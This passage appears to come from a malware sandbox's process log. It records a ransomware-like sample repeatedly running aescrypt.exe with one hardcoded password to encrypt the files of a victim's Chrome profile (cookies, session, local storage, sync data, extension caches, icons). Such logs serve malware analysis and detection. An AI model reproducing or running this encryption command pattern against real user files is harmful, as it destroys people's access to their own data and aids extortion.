  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\MANIFEST-000001"
  2⤵
  PID:7768
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log"
  2⤵
  PID:7420
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\CURRENT"
  2⤵
  PID:8988
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOCK"
  2⤵
  PID:6708
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG"
  2⤵
  PID:6232
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old"
  2⤵
  PID:7960
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001"
  2⤵
  PID:7404
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies"
  2⤵
  PID:1604
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal"
  2⤵
  PID:8016
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State"
  2⤵
  PID:7012
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\NetworkDataMigrated"
  2⤵
  PID:6444
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Reporting and NEL"
  2⤵
  PID:6620
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Reporting and NEL-journal"
  2⤵
  PID:7604
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity"
  2⤵
  PID:7040
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store\LOCK"
  2⤵
  PID:7608
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store\LOG"
  2⤵
  PID:7860
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store\LOG.old"
  2⤵
  PID:8060
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store\LOCK"
  2⤵
  PID:7264
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store\LOG"
  2⤵
  PID:7712
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store\LOG.old"
  2⤵
  PID:7284
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Safe Browsing Network\NetworkDataMigrated"
  2⤵
  PID:7716
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Safe Browsing Network\Safe Browsing Cookies"
  2⤵
  PID:1380
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Safe Browsing Network\Safe Browsing Cookies-journal"
  2⤵
  PID:7044
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB\LOCK"
  2⤵
  PID:7064
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB\LOG"
  2⤵
  PID:6416
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB\LOG.old"
  2⤵
  PID:6960
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB\LOCK"
  2⤵
  PID:6648
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB\LOG"
  2⤵
  PID:7692
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB\LOG.old"
  2⤵
  PID:5352
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB\LOCK"
  2⤵
  PID:5964
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB\LOG"
  2⤵
  PID:6220
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB\LOG.old"
  2⤵
  PID:6164
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log"
  2⤵
  PID:6216
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\CURRENT"
  2⤵
  PID:6228
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOCK"
  2⤵
  PID:6312
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG"
  2⤵
  PID:5596
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old"
  2⤵
  PID:5656
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\MANIFEST-000001"
  2⤵
  PID:5664
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sessions\Session_13353434936084090"
  2⤵
  PID:5280
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sessions\Session_13353436789013501"
  2⤵
  PID:5568
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log"
  2⤵
  PID:5292
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\CURRENT"
  2⤵
  PID:5700
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOCK"
  2⤵
  PID:5492
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG"
  2⤵
  PID:5528
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG.old"
  2⤵
  PID:2716
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\MANIFEST-000001"
  2⤵
  PID:5640
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\000003.log"
  2⤵
  PID:5520
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\CURRENT"
  2⤵
  PID:6360
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOCK"
  2⤵
  PID:5384
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG"
  2⤵
  PID:6536
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG.old"
  2⤵
  PID:6604
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\MANIFEST-000001"
  2⤵
  PID:6392
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log"
  2⤵
  PID:6856
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\CURRENT"
  2⤵
  PID:5604
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOCK"
  2⤵
  PID:5760
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG"
  2⤵
  PID:5788
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old"
  2⤵
  PID:5800
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\MANIFEST-000001"
  2⤵
  PID:6864
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index"
  2⤵
  PID:6036
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index"
  2⤵
  PID:6268
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index"
  2⤵
  PID:9020
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir\the-real-index"
  2⤵
  PID:9024
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache\data_0"
  2⤵
  PID:2148
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache\data_1"
  2⤵
  PID:1020
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache\data_2"
  2⤵
  PID:432
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache\data_3"
  2⤵
  PID:4836
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache\index"
  2⤵
  PID:2936
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_0"
  2⤵
  PID:9036
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1"
  2⤵
  PID:5872
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_2"
  2⤵
  PID:5380
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_3"
  2⤵
  PID:4756
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\index"
  2⤵
  PID:5836
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log"
  2⤵
  PID:5884
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\CURRENT"
  2⤵
  PID:9048
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\LOCK"
  2⤵
  PID:4904
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\LOG"
  2⤵
  PID:3700
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001"
  2⤵
  PID:9064
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network\Network Persistent State"
  2⤵
  PID:3140
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network\NetworkDataMigrated"
  2⤵
  PID:3912
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\000003.log"
  2⤵
  PID:2040
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\CURRENT"
  2⤵
  PID:4512
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\LOCK"
  2⤵
  PID:2400
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\LOG"
  2⤵
  PID:4060
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\MANIFEST-000001"
  2⤵
  PID:5676
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000003.log"
  2⤵
  PID:5824
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\CURRENT"
  2⤵
  PID:540
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOCK"
  2⤵
  PID:2264
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG"
  2⤵
  PID:4932
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG.old"
  2⤵
  PID:9076
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\MANIFEST-000001"
  2⤵
  PID:5536
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\128.png"
  2⤵
  PID:2900
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\192.png"
  2⤵
  PID:5100
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png"
  2⤵
  PID:1228
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\32.png"
  2⤵
  PID:5060
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\48.png"
  2⤵
  PID:5728
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\64.png"
  2⤵
  PID:9088
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\96.png"
  2⤵
  PID:5752
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\128.png"
  2⤵
  PID:5652
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\192.png"
  2⤵
  PID:5916
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png"
  2⤵
  PID:6700
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\32.png"
  2⤵
  PID:6928
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\48.png"
  2⤵
  PID:7116
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\64.png"
  2⤵
  PID:7584
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\96.png"
  2⤵
  PID:7700
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\128.png"
  2⤵
  PID:3764
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\192.png"
  2⤵
  PID:6096
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\256.png"
  2⤵
  PID:7196
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\32.png"
  2⤵
  PID:7220
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\48.png"
  2⤵
  PID:7372
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\64.png"
  2⤵
  PID:7392
- C:\Users\Admin\Desktop\aescrypt.exe
